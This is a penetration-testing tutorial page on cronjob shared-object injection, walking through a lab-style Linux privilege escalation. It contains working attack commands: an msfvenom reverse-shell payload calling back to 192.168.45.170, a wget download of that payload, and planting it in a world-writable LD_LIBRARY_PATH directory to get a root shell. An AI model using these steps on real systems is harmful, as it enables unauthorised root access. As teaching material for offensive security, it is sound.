# SO Injection

Cronjob Shared Object Injection is a privilege escalation technique that exploits how scheduled tasks run by the cron daemon handle shared library loading. Cronjobs executed as `root` or privileged users may inherit environment variables such as `LD_LIBRARY_PATH`, which instructs the dynamic linker where to search for shared libraries. If this path includes directories writable by non-privileged users, or if it points to missing or replaceable libraries, an attacker can inject a malicious shared object (`.so` file). When the cronjob runs, it loads the attacker-controlled shared library, resulting in code execution with the cronjob’s privileges.

```bash
# Show the contents of the system-wide crontab configuration
$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
# Non-standard library directories
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""
  *  *  *  *  * root       /usr/bin/log-sweeper # Runs every minute
  
# List the details of the log-sweeper binary
$ ls -la /usr/bin/log-sweeper
-rwxr-xr-x. 1 root root 8800 Sep  4  2020 /usr/bin/log-sweeper
```

The directories listed in `LD_LIBRARY_PATH` include `/usr/local/lib/utils` containing `utils.so` and `/usr/local/lib/dev`, which is world-writable:

{% code overflow="wrap" %}

```bash
# Check the permissions of the target directories
$ ls -ld /usr/local/lib/utils
drwxr-xr-x. 2 root root 22 Sep  4  2020 /usr/local/lib/utils

$ ls -ld /usr/local/lib/dev
drwxrwxrwx 2 root root 6 Sep  7  2020 /usr/local/lib/dev # World-writable

# List the directory's contents
$ ls -la /usr/local/lib/utils
-rwxr-xr-x. 1 root root 8248 Sep  4  2020 utils.so
```

{% endcode %}

Running `ldd` on `log-sweeper` shows it requires `utils.so`, but the linker fails to find it due to a missing or misconfigured library:

{% hint style="warning" %}
The `ldd` command shows `utils.so => not found` because it only searches the system’s standard library paths and does not consider the `LD_LIBRARY_PATH` environment variable. Since `utils.so` is located in a non-standard directory specified by `LD_LIBRARY_PATH`, `ldd` cannot locate it. However, when the cronjob runs, it inherits the custom `LD_LIBRARY_PATH`, allowing the dynamic linker to find and load `utils.so` from the specified directories.
{% endhint %}

```bash
# List the shared library dependencies for log-sweeper
$ ldd /usr/bin/log-sweeper
        linux-vdso.so.1 =>  (0x00007ffe88d95000)
        utils.so => not found
        libc.so.6 => /lib64/libc.so.6 (0x00007ff9e29e0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff9e2dae000)
```

The missing `utils.so` in the default library paths can be hijacked by placing a malicious shared object with the same name in a writable directory that appears earlier in the `LD_LIBRARY_PATH`. This allows loading the attacker’s payload instead of the legit library.

{% code overflow="wrap" %}

```bash
# Generate a reverse shell shared object
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.170 LPORT=80 -f elf-so -o revshell.so
```

{% endcode %}

Next, the malicious library can be transferred to the target, assigned executable permission and copied to `/usr/local/lib/dev`:

{% hint style="warning" %}
The cronjob executes `/usr/bin/log-sweeper` with an `LD_LIBRARY_PATH` that includes both `/usr/local/lib/dev` and `/usr/local/lib/utils`. Although the legitimate `utils.so` resides in `/usr/local/lib/utils`, the dynamic linker searches the directories in order and loads the first matching library it finds. Since `/usr/local/lib/dev` appears before `/usr/local/lib/utils` and is world-writable, the malicious library will be loaded instead of the legitimate one, enabling code execution with the cronjob’s privileges.
{% endhint %}

```bash
# Download the malicious shared object and rename it to utils.so
$ wget http://192.168.45.170/revshell.so -O utils.so

# Set executable permissions on utils.so
$ chmod +x utils.so

# Copy the malicious shared object to the writable library path directory
$ cp utils.so /usr/local/lib/dev/

# Confirm the file is in place
$ ls /usr/local/lib/dev/
utils.so
```

Triggering the cronjob execution will load the malicious `utils.so`, spawning a reverse `root` shell.
